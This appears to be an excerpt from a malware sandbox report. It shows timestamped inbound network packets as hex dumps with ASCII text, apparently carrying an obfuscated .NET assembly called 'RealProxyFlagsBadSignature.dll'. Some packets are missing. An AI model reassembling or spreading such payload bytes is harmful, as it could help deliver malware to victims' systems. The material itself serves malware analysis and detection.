08 00 00 00 58 fe 0c 02 00 58 4a 58 fe 0c 0f 00 58 fe 0e 0c 00 fe 0c 03 00 20 02 00 00 00 59 fe 0e Data Ascii: Y Y Y YJ~ Y)~XJ)U X8 YL YLXJ XXJYZ XXJXX Y
2022-08-08 15:18:10 UTC	5	IN	Data Raw: 06 03 00 00 06 9b 7e 03 00 00 04 20 02 00 00 00 fe 06 04 00 00 06 9b 7e 03 00 00 04 20 03 00 00 00 fe 06 05 00 00 06 9b 7e 03 00 00 04 20 04 00 00 00 fe 06 06 00 00 06 9b 7e 03 00 00 04 20 05 00 00 00 fe 06 07 00 00 06 9b 7e 03 00 00 04 20 06 00 00 00 fe 06 08 00 00 06 9b 7e 03 00 00 04 20 07 00 00 00 fe 06 09 00 00 06 9b 2a 26 02 28 08 00 00 0a 00 00 2a 2a 00 02 28 0c 00 00 0a 00 00 2a aa 73 0e 00 00 0a 80 04 00 00 04 73 0f 00 00 0a 80 05 00 00 04 73 10 00 00 0a 80 06 00 00 04 73 11 00 00 0a 80 07 00 00 04 00 2a 13 30 01 00 10 00 00 00 0a 00 00 11 00 7e 04 00 00 04 6f 12 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 0b 00 00 11 00 7e 05 00 00 04 6f 13 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 0c 00 00 11 00 7e 06 00 00 04 6f 14 00 00 0a 0a 2b 00 Data Ascii: ~ ~ ~ ~ ~ ~ &((ssss0~o+0~o+*0~o+
2022-08-08 15:18:10 UTC	6	IN	Data Raw: 2b 0d 07 6f 3a 00 00 0a 6f 3b 00 00 0a 13 04 09 14 fe 01 16 fe 01 13 10 11 10 39 25 01 00 00 02 2c 03 03 2d 03 16 2b 01 17 00 13 11 11 11 2c 58 02 8e b7 17 da 13 05 16 11 05 13 0e 13 08 2b 3e 02 11 08 9a 13 07 03 11 08 9a 13 06 11 04 11 07 6f 3c 00 00 0a 13 11 11 11 2c 1b 09 11 06 28 3d 00 00 0a 13 10 11 10 2c 07 07 6f 3e 00 00 0a 00 00 14 0b 00 2b 12 00 00 11 08 17 d6 13 08 11 08 11 0e 13 12 11 12 31 b8 00 07 14 fe 01 16 fe 01 13 11 11 11 39 aa 00 00 00 04 14 fe 01 16 fe 01 13 10 11 10 2c 7f 04 6f 3f 00 00 0a 17 da 13 09 16 11 09 13 0f 13 0d 2b 62 04 11 0d 6f 40 00 00 0a 13 0a 11 0a 6f 3a 00 00 0a 6f 3b 00 00 0a 13 0c 11 0a 6f 06 00 00 2b 13 0b 11 0b 14 fe 01 16 fe 01 13 11 11 11 2c 2b 11 04 11 0c 6f 3c 00 00 0a 13 10 11 10 2c 1b 09 11 0b 28 3d 00 00 0a Data Ascii: +o:o;9%,-+,X+>o<,(=,o>+19,o?+bo@o:o;o+,+o<,(=
2022-08-08 15:18:10 UTC	8	IN	Data Raw: 11 2f 28 31 00 00 06 13 04 18 8d 08 00 00 01 13 2f 11 2f 16 72 1a 08 00 70 a2 00 11 2f 17 72 15 0a 00 70 a2 00 11 2f 28 31 00 00 06 13 14 18 8d 08 00 00 01 13 2f 11 2f 16 72 ba 0a 00 70 a2 00 11 2f 17 72 61 0d 00 70 a2 00 11 2f 28 31 00 00 06 13 08 18 8d 08 00 00 01 13 2f 11 2f 16 72 06 0e 00 70 a2 00 11 2f 17 72 53 11 00 70 a2 00 11 2f 28 31 00 00 06 13 0a 18 8d 08 00 00 01 13 2f 11 2f 16 72 f8 11 00 70 a2 00 11 2f 17 72 a3 14 00 70 a2 00 11 2f 28 31 00 00 06 13 0b 18 8d 08 00 00 01 13 2f 11 2f 16 72 48 15 00 70 a2 00 11 2f 17 72 9f 18 00 70 a2 00 11 2f 28 31 00 00 06 13 0c 18 8d 08 00 00 01 13 2f 11 2f 16 72 44 19 00 70 a2 00 11 2f 17 72 9b 1c 00 70 a2 00 11 2f 28 31 00 00 06 13 0d 18 8d 08 00 00 01 13 2f 11 2f 16 72 40 1d 00 70 a2 00 11 2f 17 72 ed 1f Data Ascii: /(1//rp/rp/(1//rp/rap/(1//rp/rSp/(1//rp/rp/(1//rHp/rp/(1//rDp/rp/(1//r@p/r
2022-08-08 15:18:10 UTC	9	IN	Data Raw: 13 32 11 32 2c 06 73 5e 00 00 0a 7a 00 11 06 12 01 7b 10 00 00 04 6f 5e 00 00 06 15 fe 01 13 32 11 32 2c 06 73 5e 00 00 0a 7a 00 de 40 25 28 61 00 00 0a 13 2d 00 12 01 7b 11 00 00 04 84 28 62 00 00 0a 13 2e 11 2e 14 fe 01 16 fe 01 13 32 11 32 2c 08 11 2e 6f 63 00 00 0a 00 00 16 13 07 28 64 00 00 0a de 0d 28 64 00 00 0a de 00 00 17 13 07 2b 00 11 07 2a 41 1c 00 00 00 00 00 00 5e 02 00 00 45 03 00 00 a3 05 00 00 40 00 00 00 09 00 00 01 13 30 03 00 25 00 00 00 23 00 00 11 00 02 28 13 00 00 2b 0c 02 28 14 00 00 2b 0a 08 06 7e 67 00 00 0a 6f 68 00 00 0a 28 69 00 00 0a 0b 2b 00 07 2a 00 00 00 13 30 04 00 11 00 00 00 0e 00 00 11 00 02 03 04 17 28 30 00 00 06 26 17 0a 2b 00 06 2a 00 00 00 13 30 02 00 3b 00 00 00 24 00 00 11 00 7e 1c 00 00 04 14 28 6a 00 00 0a 0c Data Ascii: 22,s^z{o^22,s^z@%(a-{(b..22,.oc(d(d+A^E@0%#(+(+~goh(i+0(0&+*0;$~(j
2022-08-08 15:18:10 UTC	10	IN	Data Raw: 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0a 0a 00 00 00 01 23 e0 a6 83 83 a6 e0 23 01 23 e0 a6 e1 e1 a6 e0 23 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0b 0b 00 00 00 01 44 f4 63 61 61 63 f4 44 01 44 f4 63 0d 0d 63 f4 44 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0c 0c 00 00 00 01 3b 76 fc f1 f1 fc 76 3b 01 3b 76 fc 88 88 fc 76 3b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0d 0d 00 00 00 01 7e 32 10 97 97 10 32 7e 01 7e 32 10 b7 b7 10 32 7e 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0e 0e 00 00 00 01 62 ab d2 14 14 d2 ab 62 01 62 ab d2 63 63 d2 ab 62 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 Data Ascii: ####DcaacDDccD;vv;;vv;~22~~22~bbbccb
2022-08-08 15:18:10 UTC	12	IN	Data Raw: 26 00 00 00 01 72 76 bb 70 70 bb 76 72 01 72 76 bb 02 02 bb 76 72 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 27 27 00 00 00 01 55 ac 1d 45 45 1d ac 55 01 55 ac 1d 36 36 1d ac 55 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 28 28 00 00 00 01 71 fa 59 45 45 59 fa 71 01 71 fa 59 2c 2c 59 fa 71 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 29 29 00 00 00 01 08 5f 25 11 11 25 5f 08 01 08 5f 25 7e 7e 25 5f 08 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 2a 2a 00 00 00 01 03 c6 8f d4 d4 8f c6 03 01 03 c6 8f ba ba 8f c6 03 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 2b 2b 00 00 00 01 38 ca 33 09 09 33 ca 38 01 38 Data Ascii: &rvppvrrvvr''UEEUU66U((qYEEYqqY,,Yq))_%%__%~~%_**++83388
2022-08-08 15:18:10 UTC	13	IN	Data Raw: 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 43 43 00 00 00 01 53 1f 2d f2 f2 2d 1f 53 01 53 1f 2d 93 93 2d 1f 53 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 44 44 00 00 00 01 20 bf 80 05 05 80 bf 20 01 20 bf 80 7c 7c 80 bf 20 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 45 45 00 00 00 01 02 83 a0 91 91 a0 83 02 01 02 83 a0 e2 e2 a0 83 02 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 46 46 00 00 00 01 00 23 d5 db db d5 23 00 01 00 23 d5 fb fb d5 23 00 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 47 47 00 00 00 01 32 6e 0d 17 17 0d 6e 32 01 32 6e 0d 76 76 0d 6e 32 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 Data Ascii: CCS--SS--SDD \|\| EEFF####GG2nn22nvvn2
2022-08-08 15:18:10 UTC	14	IN	Data Raw: 00 00 01 5b a6 9c 50 50 9c a6 5b 01 5b a6 9c 70 70 9c a6 5b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 60 60 00 00 00 01 05 6b 97 c3 c3 97 6b 05 01 05 6b 97 ab ab 97 6b 05 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 61 61 00 00 00 01 1f 01 62 87 87 62 01 1f 01 1f 01 62 f3 f3 62 01 1f 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 62 62 00 00 00 01 1b d6 66 06 06 66 d6 1b 01 1b d6 66 72 72 66 d6 1b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 63 63 00 00 00 01 22 2a 7a 8a 8a 7a 2a 22 01 22 2a 7a fa fa 7a 2a 22 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 64 64 00 00 00 01 3f 18 b1 96 96 b1 18 3f 01 3f 18 b1 Data Ascii: [PP[[pp[``kkkkaabbbbbbfffrrfcc"zz""zz"dd???
2022-08-08 15:18:10 UTC	16	IN	Data Raw: 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7c 7c 00 00 00 01 46 24 a0 0d 0d a0 24 46 01 46 24 a0 23 23 a0 24 46 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7d 7d 00 00 00 01 14 42 91 60 60 91 42 14 01 14 42 91 08 08 91 42 14 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7e 7e 00 00 00 01 0f 29 86 71 71 86 29 0f 01 0f 29 86 05 05 86 29 0f 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7f 7f 00 00 00 01 36 ce c7 32 32 c7 ce 36 01 36 ce c7 5f 5f c7 ce 36 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 80 80 00 00 00 01 27 33 bb 08 08 bb 33 27 01 27 33 bb 64 64 bb 33 27 06 15 16 00 00 00 05 05 00 00 00 17 00 00 00 06 06 00 00 00 Data Ascii: \|\|F$$FF$##$F}}B``BBB~~)qq)))62266__6'33''3dd3'
2022-08-08 15:18:10 UTC	17	IN	Data Raw: 01 77 3a 83 96 96 83 3a 77 01 77 3a 83 f9 f9 83 3a 77 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 15 15 00 00 00 01 07 0d b1 74 74 b1 0d 07 01 07 0d b1 00 00 b1 0d 07 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 16 16 00 00 00 01 7b 43 ce 6d 6d ce 43 7b 01 7b 43 ce 08 08 ce 43 7b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 17 17 00 00 00 01 1d aa 8e cc cc 8e aa 1d 01 1d aa 8e af af 8e aa 1d 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 18 18 00 00 00 01 18 ac 10 61 61 10 ac 18 01 18 ac 10 15 15 10 ac 18 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 19 19 00 00 00 01 4a 2f 0a 96 96 0a 2f 4a 01 4a 2f 0a f3 f3 Data Ascii: w::ww::wtt{CmmC{{CC{aaJ//JJ/
2022-08-08 15:18:10 UTC	18	IN	Data Raw: 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 31 31 00 00 00 01 32 4f 28 aa aa 28 4f 32 01 32 4f 28 c7 c7 28 4f 32 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 32 32 00 00 00 01 13 6d 96 e4 e4 96 6d 13 01 13 6d 96 a0 a0 96 6d 13 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 33 33 00 00 00 01 3c ab de ba ba de ab 3c 01 3c ab de d5 d5 de ab 3c 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 34 34 00 00 00 01 45 4d 54 d6 d6 54 4d 45 01 45 4d 54 a2 a2 54 4d 45 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 35 35 00 00 00 01 25 16 9c a5 a5 9c 16 25 01 25 16 9c 85 85 9c 16 25 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 Data Ascii: 112O((O22O((O222mmmm33<<<<44EMTTMEEMTTME55%%%%
2022-08-08 15:18:10 UTC	20	IN	Data Raw: b2 63 8a 8a 63 b2 65 01 65 b2 63 ff ff 63 b2 65 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 4e 4e 00 00 00 01 4b 2b cb ea ea cb 2b 4b 01 4b 2b cb 93 93 cb 2b 4b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 4f 4f 00 00 00 01 16 9d 9a 2e 2e 9a 9d 16 01 16 9d 9a 0e 0e 9a 9d 16 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 50 50 00 00 00 01 09 a8 9b 11 11 9b a8 09 01 09 a8 9b 77 77 9b a8 09 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 51 51 00 00 00 01 26 25 c2 42 42 c2 25 26 01 26 25 c2 37 37 c2 25 26 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 52 52 00 00 00 01 63 12 23 67 67 23 12 63 01 63 12 23 0b 0b 23 12 Data Ascii: cceecceNNK++KK++KOO..PPwwQQ&%BB%&&%77%&RRc#gg#cc##
2022-08-08 15:18:10 UTC	21	IN	Data Raw: 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6a 6a 00 00 00 01 09 a8 84 c6 c6 84 a8 09 01 09 a8 84 b1 b1 84 a8 09 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6b 6b 00 00 00 01 50 9e 93 66 66 93 9e 50 01 50 9e 93 48 48 93 9e 50 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6c 6c 00 00 00 01 66 0c e7 09 09 e7 0c 66 01 66 0c e7 68 68 e7 0c 66 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6d 6d 00 00 00 01 62 b3 c7 2b 2b c7 b3 62 01 62 b3 c7 59 59 c7 b3 62 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6e 6e 00 00 00 01 4c 57 57 48 48 57 57 4c 01 4c 57 57 25 25 57 57 4c 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 Data Ascii: jjkkPffPPHHPllfffhhfmmb++bbYYbnnLWWHHWWLLWW%%WWL
2022-08-08 15:18:10 UTC	22	IN	Data Raw: 06 00 64 00 6d 0b 06 00 7b 00 6d 0b 12 00 c9 11 4b 0f 06 00 41 0d 6d 0b 06 00 5d 0a 6d 0b 06 00 aa 0c 6d 0b 06 00 bf 12 6d 0b 06 00 38 0f 6d 0b 0a 00 3a 06 9a 0f 06 00 58 07 4b 0f 12 00 89 07 f5 0a 12 00 ca 06 f5 0a 12 00 41 07 12 0e 0a 00 a6 0e 5e 0f 06 00 41 08 4b 0f 0a 00 54 0e 9a 0f 12 00 13 07 df 0b 0a 00 e5 07 59 03 0a 00 cd 07 e3 0f 06 00 91 11 0a 10 06 00 a7 05 6d 0b 06 00 9f 04 6d 0b 06 00 21 0f 6d 0b 0a 00 89 08 59 03 0a 00 0f 00 cb 0a 06 00 a2 07 c4 0f 0e 00 b6 12 25 0d 06 00 39 00 3e 03 06 00 01 00 3e 03 06 00 07 0f 7e 11 06 00 86 04 6d 0b 0e 00 df 06 25 0d 0e 00 ec 04 25 0d 0e 00 fd 03 25 0d 0e 00 0f 12 25 0d 06 00 7a 04 7e 11 06 00 47 00 3e 03 06 00 6a 00 6d 0b 16 00 7b 04 35 0d 06 00 59 08 0a 10 06 00 ea 06 0a 10 12 00 de 04 4b 0f 12 00 92 Data Ascii: dm{mKAm]mmm8m:XKA^AKTYmm!mY%9>>~m%%%%z~G>jm{5YK
2022-08-08 15:18:10 UTC	24	IN	Data Raw: 08 28 04 02 01 04 00 2c 30 00 00 00 00 06 18 2b 0f 8a 00 04 00 de 2f 00 00 00 00 01 18 2b 0f 8a 00 04 00 44 30 00 00 00 00 16 08 76 09 a9 02 04 00 a4 30 00 00 00 00 16 08 80 09 c0 02 05 00 04 31 00 00 00 00 16 08 8a 09 dc 02 07 00 6c 31 00 00 00 00 16 08 9d 09 f2 02 09 00 cc 31 00 00 00 00 16 08 8a 09 01 03 0c 00 ea 31 00 00 00 00 16 08 9d 09 0a 03 0e 00 f8 31 00 00 00 00 16 00 fd 07 1b 03 11 00 24 32 00 00 00 00 16 00 28 07 33 03 13 00 4c 32 00 00 00 00 16 00 cd 10 49 03 15 00 ac 32 00 00 00 00 16 00 cd 10 bb 03 19 00 20 33 00 00 00 00 16 00 cd 10 2c 04 1d 00 c4 34 00 00 00 00 03 18 2b 0f 77 04 21 00 e4 34 00 00 00 00 03 00 af 12 8e 04 24 00 10 35 00 00 00 00 03 00 17 12 9c 04 25 00 54 35 00 00 00 00 11 18 31 0f 73 00 26 00 be 35 00 00 00 00 06 18 2b 0f Data Ascii: (,0+/+D0v01l1111$2(3L2I2 3,4+w!4$5%T51s&5+
2022-08-08 15:18:10 UTC	25	IN	Data Raw: 74 0a 00 00 02 00 e4 03 00 00 03 00 90 0a 00 00 01 00 25 12 00 00 02 00 e8 03 00 00 01 00 19 03 00 00 02 00 b2 0a 00 00 03 00 9e 06 00 00 01 00 9b 12 00 00 01 00 19 03 00 00 01 00 25 12 00 00 02 00 e8 03 00 00 01 00 55 05 00 00 02 00 73 05 00 00 03 00 e7 10 00 00 04 00 bc 10 00 00 05 00 a1 10 00 00 06 00 21 11 00 00 07 00 cb 12 00 00 08 00 b3 13 00 00 09 00 dc 0c 00 00 0a 00 1a 0c 00 00 0b 00 b2 0a 00 00 0c 00 9e 06 00 00 01 00 dc 0c 00 00 02 00 1a 0c 00 00 03 00 9b 12 00 00 01 00 55 05 00 00 02 00 73 05 00 00 03 00 e7 10 00 00 04 00 bc 10 00 00 05 00 a1 10 00 00 06 00 21 11 00 00 07 00 cb 12 00 00 08 00 b3 13 00 00 09 00 dc 0c 00 00 0a 00 1a 0c 00 00 01 00 25 12 00 00 02 00 e8 03 00 00 01 00 cc 03 00 00 02 00 65 13 00 00 03 00 b2 0a 00 00 04 00 9e 06 00 Data Ascii: t%%Us!Us!%e
2022-08-08 15:18:10 UTC	26	IN	Data Raw: 05 41 00 01 12 ea 05 59 00 e8 0c f1 05 49 00 2b 0f 8a 00 b1 01 a9 13 f4 05 a1 01 06 11 01 06 c1 01 d2 0e 07 06 31 00 96 03 0d 06 31 00 2a 0b 8a 00 c1 01 c0 0e 73 00 51 01 27 13 22 06 51 01 02 13 22 06 41 00 d8 13 a1 04 41 00 f5 03 33 06 c9 01 81 06 39 06 19 00 59 11 60 07 c1 00 9c 13 66 07 f1 01 2b 0f 6c 07 11 02 d7 03 e7 07 09 02 2b 0f 8a 00 19 02 2b 0f 85 00 21 02 2b 0f 85 00 29 02 2b 0f 85 00 31 02 2b 0f 85 00 39 02 2b 0f 85 00 41 02 2b 0f 85 00 49 02 2b 0f 85 00 51 02 2b 0f d3 08 61 02 2b 0f e3 08 69 02 2b 0f 8a 00 71 02 2b 0f 85 00 79 02 2b 0f 85 00 51 02 2b 0f 67 09 29 00 b3 00 2f 01 2e 00 7b 03 7a 02 2e 00 83 03 7a 02 2e 00 8b 03 71 08 2e 00 93 03 7a 02 2e 00 9b 03 91 08 2e 00 a3 03 71 08 2e 00 ab 03 bb 08 2e 00 b3 03 da 08 2e 00 2b 01 7a 02 2e 00 Data Ascii: AYI+11*sQ'"Q"AA39Y`f+l++!+)+1+9+A+I+Q+a+i+q+y+Q+g)/.{z.z.q.z..q...+z.
2022-08-08 15:18:10 UTC	28	IN	Data Raw: 60 31 00 43 6f 6e 74 65 78 74 56 61 6c 75 65 60 31 00 54 68 72 65 61 64 53 61 66 65 4f 62 6a 65 63 74 50 72 6f 76 69 64 65 72 60 31 00 49 45 6e 75 6d 65 72 61 74 6f 72 60 31 00 4c 69 73 74 60 31 00 52 65 73 65 72 76 65 64 31 00 52 65 61 64 49 6e 74 33 32 00 54 6f 49 6e 74 33 32 00 46 75 6e 63 60 32 00 52 65 73 65 72 76 65 64 32 00 49 6e 74 36 34 00 54 6f 49 6e 74 31 36 00 3c 4d 6f 64 75 6c 65 3e 00 67 65 74 45 6e 63 6f 64 69 6e 67 43 4d 53 53 45 43 54 49 4f 4e 45 4e 54 52 59 49 44 4d 45 54 41 44 41 54 41 00 65 72 49 6c 4f 48 6d 54 6a 76 46 55 52 55 42 00 46 7a 52 58 72 4e 58 52 41 46 43 71 5a 51 44 00 73 44 47 57 6a 74 49 6e 6e 65 41 74 76 51 44 00 73 4c 45 58 52 67 6d 42 45 4f 62 4c 7a 6c 44 00 4e 58 6e 64 55 49 50 75 6f 47 50 47 47 42 46 00 68 6c 49 4b Data Ascii: `1ContextValue`1ThreadSafeObjectProvider`1IEnumerator`1List`1Reserved1ReadInt32ToInt32Func`2Reserved2Int64ToInt16<Module>getEncodingCMSSECTIONENTRYIDMETADATAerIlOHmTjvFURUBFzRXrNXRAFCqZQDsDGWjtInneAtvQDsLEXRgmBEObLzlDNXndUIPuoGPGGBFhlIK
2022-08-08 15:18:10 UTC	29	IN	Data Raw: 6e 61 6d 65 00 44 61 74 65 54 69 6d 65 00 63 6f 6d 6d 61 6e 64 4c 69 6e 65 00 56 61 6c 75 65 54 79 70 65 00 4e 6f 50 72 69 6e 63 69 70 61 6c 4d 61 6b 65 50 6f 69 6e 74 65 72 54 79 70 65 00 47 65 74 54 79 70 65 00 74 79 70 65 00 53 79 73 74 65 6d 2e 43 6f 72 65 00 52 65 6d 6f 76 65 4e 61 6d 65 73 70 61 63 65 41 74 74 72 69 62 75 74 65 73 43 6c 6f 73 75 72 65 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 00 67 65 74 5f 43 75 6c 74 75 72 65 00 73 65 74 5f 43 75 6c 74 75 72 65 00 72 65 73 6f 75 72 63 65 43 75 6c 74 75 72 65 00 47 65 6e 65 72 69 63 46 69 65 6c 64 49 6e 66 6f 43 6f 64 65 42 61 73 65 00 41 70 70 6c 69 63 61 74 69 6f 6e 42 61 73 65 00 52 65 61 64 4f 6e 6c 79 43 6f 6c 6c 65 63 74 69 6f 6e 42 61 73 65 00 41 70 70 Data Ascii: nameDateTimecommandLineValueTypeNoPrincipalMakePointerTypeGetTypetypeSystem.CoreRemoveNamespaceAttributesClosureRealProxyFlagsBadSignatureget_Cultureset_CultureresourceCultureGenericFieldInfoCodeBaseApplicationBaseReadOnlyCollectionBaseApp
2022-08-08 15:18:10 UTC	30	IN	Data Raw: 62 61 63 6b 00 4d 61 72 73 68 61 6c 00 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c 42 61 73 69 63 2e 4d 79 53 65 72 76 69 63 65 73 2e 49 6e 74 65 72 6e 61 6c 00 53 79 73 74 65 6d 2e 43 6f 6d 70 6f 6e 65 6e 74 4d 6f 64 65 6c 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 2e 64 6c 6c 00 4b 69 6c 6c 00 4d 65 6d 6f 72 79 42 61 72 72 69 65 72 73 65 74 41 73 42 6f 6f 6c 00 4d 65 6d 6f 72 79 42 61 72 72 69 65 72 55 43 4f 4d 49 53 74 72 65 61 6d 00 65 6c 65 6d 00 67 65 74 5f 49 74 65 6d 00 53 79 73 74 65 6d 00 55 48 47 49 55 66 4c 6a 59 49 49 4a 72 75 74 46 43 50 72 5a 4e 6d 73 4b 4a 63 47 67 5a 4e 44 68 72 66 4d 68 4f 56 4e 65 46 54 52 72 43 4a 4b 62 54 66 63 75 4d 66 43 69 6a 77 7a 4d 5a 66 65 4b 45 77 52 4d 44 4d 4d 43 42 Data Ascii: backMarshalMicrosoft.VisualBasic.MyServices.InternalSystem.ComponentModelRealProxyFlagsBadSignature.dllKillMemoryBarriersetAsBoolMemoryBarrierUCOMIStreamelemget_ItemSystemUHGIUfLjYIIJrutFCPrZNmsKJcGgZNDhrfMhOVNeFTRrCJKbTfcuMfCijwzMZfeKEwRMDMMCB
2022-08-08 15:18:10 UTC	32	IN	Data Raw: 65 2e 43 6f 6d 70 69 6c 65 72 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 00 69 6e 68 65 72 69 74 48 61 6e 64 6c 65 73 00 67 65 74 5f 4d 6f 64 75 6c 65 73 00 74 68 72 65 61 64 41 74 74 72 69 62 75 74 65 73 00 52 65 6d 6f 76 65 4e 61 6d 65 73 70 61 63 65 41 74 74 72 69 62 75 74 65 73 00 70 72 6f 63 65 73 73 41 74 74 72 69 62 75 74 65 73 00 6d 5f 61 74 74 72 69 62 75 74 65 73 00 47 65 74 42 79 74 65 73 00 6d 5f 69 6e 53 63 6f Data Ascii: e.CompilerServicesSystem.ResourcesRealProxyFlagsBadSignature.My.ResourcesRealProxyFlagsBadSignature.Resources.resourcesDebuggingModesinheritHandlesget_ModulesthreadAttributesRemoveNamespaceAttributesprocessAttributesm_attributesGetBytesm_inSco
2022-08-08 15:18:10 UTC	33	IN	Data Raw: 76 00 53 00 6a 00 5a 00 51 00 63 00 47 00 6a 00 44 00 4f 00 74 00 42 00 55 00 64 00 74 00 76 00 6b 00 6a 00 58 00 64 00 6f 00 46 00 46 00 63 00 4b 00 6b 00 70 00 55 00 4a 00 48 00 46 00 7a 00 58 00 48 00 65 00 63 00 61 00 42 00 72 00 64 00 6c 00 4f 00 4b 00 4e 00 4f 00 50 00 5a 00 41 00 79 00 72 00 65 00 4d 00 75 00 47 00 49 00 55 00 4c 00 78 00 7a 00 53 00 53 00 57 00 42 00 46 00 76 00 6f 00 47 00 6d 00 46 00 72 00 79 00 74 00 48 00 6e 00 76 00 74 00 7a 00 4d 00 6e 00 72 00 69 00 6e 00 79 00 75 00 76 00 53 00 6a 00 5a 00 51 00 63 00 47 00 6a 00 44 00 4f 00 74 00 42 00 55 00 64 00 74 00 76 00 6b 00 6a 00 58 00 64 00 6f 00 46 00 46 00 63 00 4b 00 6b 00 70 00 55 00 4a 00 48 00 46 00 7a 00 58 00 48 00 65 00 63 00 61 00 42 00 72 00 64 00 6c 00 4f 00 4b 00 4e Data Ascii: vSjZQcGjDOtBUdtvkjXdoFFcKkpUJHFzXHecaBrdlOKNOPZAyreMuGIULxzSSWBFvoGmFrytHnvtzMnrinyuvSjZQcGjDOtBUdtvkjXdoFFcKkpUJHFzXHecaBrdlOKN
